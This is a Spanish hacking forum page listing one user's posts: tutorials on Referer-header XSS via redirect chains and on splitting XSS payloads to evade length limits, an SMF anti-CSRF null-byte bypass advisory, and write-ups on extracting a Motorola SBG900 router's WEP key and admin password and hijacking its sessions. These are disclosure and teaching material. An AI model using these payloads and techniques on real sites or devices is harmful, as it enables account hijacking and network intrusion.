elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


  Mostrar Temas
Páginas: [1]
1  Seguridad Informática / Hacking / Explotando XSS desde el Header Referer IE 6,7,8 en: 16 Octubre 2011, 22:20 pm
En los pasados días estuve analizando un XSS encontrado en el campo Referrer del protocolo HTTP. cosa que no es rara, seguramente muchos han encontrado este tipo de vulnerabilidades en algunos lugares como en los logs administrativos de foros, blogs, SMF, CRM, etc.. sin embargo, no había visto una forma en la cuál estas fueran explotadas.
A primera instancia muchos dicen que no es factible una inyección de este tipo, o que el escenario depende de muchas variables, en ejemplo,si se quisiera modificar la cabezera Referrer mediante alguna petición de tipo AJAX; la página desde donde se realiza la petición debería estar en el mismo dominio, esto debido a restricciones SOP, por tanto, de que serviría inyectar código JS/HTML, si ya se ha inyectado previamente para la petición? por tanto, este tipo de vulnerabilidades se cataloga como de poca importancia, sin embargo, el fin de esta explicación es encontrar una manera en la cuál la explotación sea exitosa sin demasiada ingeniería social.

Una vez descartada (aclaro, no del todo) el uso de una implementación AJAX para este ataque se debería encontrar una forma alternativa para modificar el campo suseptible, de forma que, si ponemos un poco de atención en el comportamiento del Header sabremos que el campo "permite al cliente especificar (en beneficio del servidor) la dirección URI del recurso desde el cuál el Request (N. del T. Petición) procede" [ Léase: http://tools.ietf.org/html/rfc2616 Apartado 14.36 Referer]. De forma que lo que el cliente necesitaría es proceder de una dirección de tipo <script>alert('Hi');<script> cosa que por el standard URI no es factible una dirección como tal, sin embargo, qué sucede si la página anterior fuera algo como http://evil.me/index.php?something=<script>alert('Hi')</script> ? aquí viene la explicación de porqué este ataque funciona en IE 6,7,8  y no en Mozilla. lo que Mozilla hace cada que el campo de referencia (Referer) es añadido a una petición es codificar en formato URL-Encode y entregar la información al server de forma que si del lado del cliente se refleja el XSS en algo como..

Código:
<html>
<head>
<Title>Oops! something went wrong</Title>
<body>
<h1>Sorry, we're in troubles</h1>
<i>please return to back page or click <a href="<? echo $_SERVER['HTTP_REFERER']; ?>">Here</a>.</i>
</body>
</head>
</html>

Como podemos ver, es posible modificar un poco la URL resultando en algo interpretable por el navegador: i.e. http://evil.me/index.php?something="><script>alert('Hi')</script><!--, ahora, en qué ocasiones es agregado el header por el navegador? Por mencionar algunas

1)Cuando el recurso proviene de una liga (Tag <a>)
2)Cuando el recurso proviene de un formulario (Tag <form>)
3)Cuando el recurso proviene de una redirección ( JS: document.location o Tag <meta>)

así que por facilidad ocuparemos la forma 3) debido a que creo que es la forma más corta y que no necesita interacción directa con el usuario obteniendo el mismo resultado.

de modo que haremos dos archivos, el primero para camuflajear la petición y que el URL no paresca tan maléfico, y el segundo para llegar a la víctima, de forma que el engaño seguiría la secuencia:

URL Normal, ejemplo, http://myserver.com/index.php el cual realizará una redirección a la página que contiene el código malicioso, ejemplo
Código:
<script>
document.location.href='http://evil.me/one.php?something="><script>alert("Hi")</script><!--';
</script> 
en el siguiente script (one.php) realizamos una nueva Redirección a la página suseptible al Referer XSS.

Código:
<script>document.location.href="http://victim.com/vulnerableURL";<script>

de forma que el único reto será que el usuario entre a http://myserver.com/index.php :)

Bien eso es todo, espero haber aportado algo a la explotación del ataque, cualquier sugerencia quedo a su disposición. finalmente para ver una alternativa de código pueden visitar http://www.gremwell.com/exploiting_xss_in_referer_header
un saludo!
2  Seguridad Informática / Nivel Web / Anti-CSRF Filter Bypass SMF 2.0 / 1.1.14 en: 25 Agosto 2011, 21:31 pm
El tag de BBcode [img] tiene un filtro anti-CSRF que puede ser circunvenido en la variable 'action'. Es posible ejecutar CSRF exitosamente.

Descripción

Software: Simple Machines Forum (SMF)
Versiones: SMF 2.0
SMF 1.1.14
Fecha de publicación: 2011-08-23
Impacto: Cross site request forgery
Solución: N/A (Desarrollador informado)
Websec-id: ws11-15

Cuando un usuario publica un URL como la fuente de un tag [img] y parece malicioso, SMF intenta evitar que se ejecute el CSRF cambiando "action=something" por "action-something".

Es posible crear un URL agregando al final del nombre de la variable un null-byte (%00). De esta forma el filtro es circunvenido y es posible realizar un ataque de CSRF.

Christian Yerena
cyerena [ at ] websec [ dot ] mx


PoC y Descripción detallada:

http://websec.mx/advisories/view/SMF_Cross_Site_Request_Forgery_Filter_Bypass
 
3  Seguridad Informática / Nivel Web / Fragmentando código y saltando la limitación de characters (XSS) en: 9 Mayo 2010, 04:11 am
Vamos al punto.

Supongamos que existe un xss difícil de explotar debido a las siguientes limitación en el número de bytes;
Del lado del cliente el input está limitado mediante max-lenght, en el script del servidor se hace una comprobación sobre la longitud de la variable antes de salvar el dato, incluso en la estructura de la tabla (en la DB) está indicado que ese campo no puede tener más de N bytes.
Ahora, Algo fundamental para esta técnica es que el xss posea la siguiente propiedad:
 
Es necesario que Que podamos postear en varias partes del documento, esto es:
1) Ya sea mediante varias inyecciones
2) o una misma que pueda postearse varias veces.

el objetivo será siempre unir código para darle sentido al mismo.

Bien, si conseguimos postear en varias partes del documento las limitaciones de longitud no serán un problema muy grave, debido a que entre linea y linea podemos hacer comentarios de bloque para omitir el código original de la página, dependiendo si lo que deseamos es inyectar Jacascript o HTML los siguientes dos ejemplos nos podrían guiar en el ataque

javascript:
Citar
<script>
alert(1);/*
basura.....<h1>eaea</h1></body>
*/

alert(2);</script>

HTML:
Citar
<iframe width=100% src="http://hakim.ws/">
<!--
basura.....<h1>eaea</h1></body>
 -->
</iframe><h1>you were p0wned<!--
fddgdfgdfgdf
 -->

así, podemos ver que no importa mucho lo que haya en los comentarios, lo cual, podemos ocuparlo a nuestro favor.

Imaginemos que se encuentran con la primer situación: hallamos dos variables vulnerables a xss, pongámosle nombre y apellido, digamos  title y search, ocupadas por el archivo index.php, estas son pasadas por método GET y en este caso NO es un xss persistente. lo que podemos hacer es dividir nuestra inyección de modo que en la primera que aparezca (ejemplo title) pongamos una parte da la inyección y en la siguiente (search) la continuación. algo como
Citar
<...>
<title>
<?
echo $_GET['title'];
?>
</title>
<..>
<?
if($result==false)
echo "the word ".$_GET['search']." wasn't found as a valid register";
?>
así que la inyección quedaría algo como index.php?title=<script>alert(1);/*&search=*/alert(2);</script> lo cual le dice al navegador que omita todo el código hasta que nuestro script continue :)

Si en otra instancia nos encontramos con la segunda situación planteada, suponiendo que estamos dentro de un foro y encontramos un xss persistente en el título de los mensajes, de modo que este campo esta limitado a n bytes, lo que podríamos hacer es fragmentar nuestro script y dejar dos mensajes en lugar de uno, lo cual se vería como se sigue:

Citar
inyección No. 1:
    <script>alert(1);/*
inyección No. 2:
    */alert(2);</script>

De modo que no importará lo que haya entre el título 1 y el título 2, y nuestra inyección tendrá sentido
como nota final cabe mencionar que en un foro real tendríamos que postear primero la inyección 2 y luego la inyección 1 pues comunmente los mensajes se ordenan por fecha de insersión o modificado.
Espero haber sido claro, cualquier duda pues estamos a sus servicios.
un saludo!
4  Seguridad Informática / Nivel Web / Motorola SBG900, una revisión general en: 1 Mayo 2010, 22:11 pm
Enseguida mostraré como tomar ventaja de algunas "Características" interesantes de este cable-modem:

Declaraciones:
sugerimos la siguiente regexpr:
A[+]=[0-9][0-9][0-9]+ (Tres dígitos decimales y el tercero con cerradura positiva).
lo que significa que el lenguaje generado por dicha expresión regular (A[+]) cumple con el lenguaje ocupado por el parámetro sessionid, este, a su vez, usado por el portal web del router entre cada petición del cliente autenticado y el portal.
Si nos emos autenticado en el portal, basta con ver el Source Font del archivo principal "frames.asp" para hallar el sessionid de la sesión actual.

Descubriendo el WEP-key
Accediendo a la dirección http://192.168.0.1/wireless/wirelessSecurity.asp?sessionId=A[+] o directamente el la sección Wireless/security, si ponemos atención en el textbox Key 1 puede verse como texto plano.

Descubriendo Login de administrador
Accediendo a la dirección http://192.168.0.1/admin/adminGateway.asp?sessionId=10390 haremos uso del JASILDBG; una vez cargada la página pegamos el siguiente fragmento de código en la barra de direcciones y presionamos [ENTER]
javascript:alert(document.getElementById('Gateway.BasicAdminSetting.oldPassword').value);
veremos un alert con el password del administrador.


Evitando el acceso a MAC address desconocidos
Iremos hacia Wireless/security/advanced o directamente desde  http://192.168.0.1/wireless/wirelessSecurityAdvanced.asp?sessionId=A[+]
y agregamos todas las macs que deseamos accedan a nuestra subred y a la WAN a través de nuestro AP

-->Nota: Solo mencionar que las restricciones de MAC address + WEP no son lo suficientemente fuertes para evitar que intrusos accedan a nuestro router, una idea inicial para burlar esta protección (tomando en cuenta que el atacante posee la WEP-key) es la dupla MAC-Spoofing + airodump, así, un atacante puede poner su tarjeta red en modo promiscuo y escuchar algunas conexiones establecidas entre Clientes -> AP para saber la MAC de alguna máquina conectada de forma "legal", posteriormente hacer el macspoofing con la mac y conectarse a la red.
Esta nota es por experiencia, he visto algunos AP que caen fácilmente ante el mac-spoofing.

Espero tener tiempo para actualizar esta revisión, un saludo y espero se tomen en tiempo para revisar el post (http://foro.elhacker.net/bugs_y_exploits/multiple_vulnerabilities_on_cablemodem_motorola_sbg900-t292258.0.html) sobre Hijacking Session del mismo modelo de cable-modem.
Código
  1.  
5  Seguridad Informática / Nivel Web / Multiple Vulnerabilities on "Cablemodem Motorola SBG900" en: 1 Mayo 2010, 22:05 pm
////////////////////////////////////////////////////////////////////////////////
///////       Multiple Vulnerabilities on "Cablemodem Motorola SBG900"
///////                       preth00nker[at]gmail.com
///////                  By preth00nker .. Using Mexican Skill :]
///////
////////////////////////////////////////////////////////////////////////////////


   [Introduction]

>>Quoted from http://broadband.motorola.com/consumers/products/sbg900/
"The Surfboard(R) SBG wireless cable modem gateway offers a fast and secure
connection, with the convenience and flexibility of wireless networking all in
one, Roam throughout home or office without losing your network connection."


   [Features]

This modem offers an administration web page where the current configuration is
showed/edited. This can be accessed through a conventional Web-browser on port
80 on the url: http://192.168.0.1 (default).


   [The validation]

This portal requires an administrator account. Upon successful authentication a
unique session-ID is issued, it has an expiration time limit but it is not
tracked for the client machine (as a cookie or something).


   [The input validation error]

An attacker can take advantage of a bad input validation vulnerability in the
hostname field. Any person can change the hostname, for example in linux editing
the file /etc/hostname. This would be reflected in the modem administration page
in Gateway/status.


   [Vulnerabilities]

- HTML injection
- XSS
- XSRF
- Not enough Session/Source validation


   [PoCs]

- HTML injection
Editing the /etc/hostname (on my box) and adding some stuff like:
   "<H1>Hellow-world"

- XSS
By inspecting the source code of the Gateway/status page we can see that the
injected string is reflected on 2 parts. They first pass through a javascript
function that prints the string on a table, so the HTML injection is notable in
the table, and the XSS can be invoked from the original function. Try:
   "+window.location.search+" (using quotes)

- XSRF 
If we use the previous string we will take the arguments of the current page, we
can see the session-ID printed on the table, it could be used in some illicit
Get/Post method.

- Not enough Session/Source validation
Once we get the Sessionid, we could just use our session from another machine
like this:
   http://102.168.0.1/left.asp?sessionId=xxxxx


   [Confirmed Affected versions (firmware)]

Model: SURFboard SBG900
Software version: SBG900-2.1.15.0-SCM00-NOSH
Hardware version: 3

Greats: hkm [hakim.ws], nitorus [nitr0us.blogspot.com]
   [EOF]
follow the url https://www.underground.org.mx/index.php?action=dlattach;topic=25186.0;attach=3037 for get the poc
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines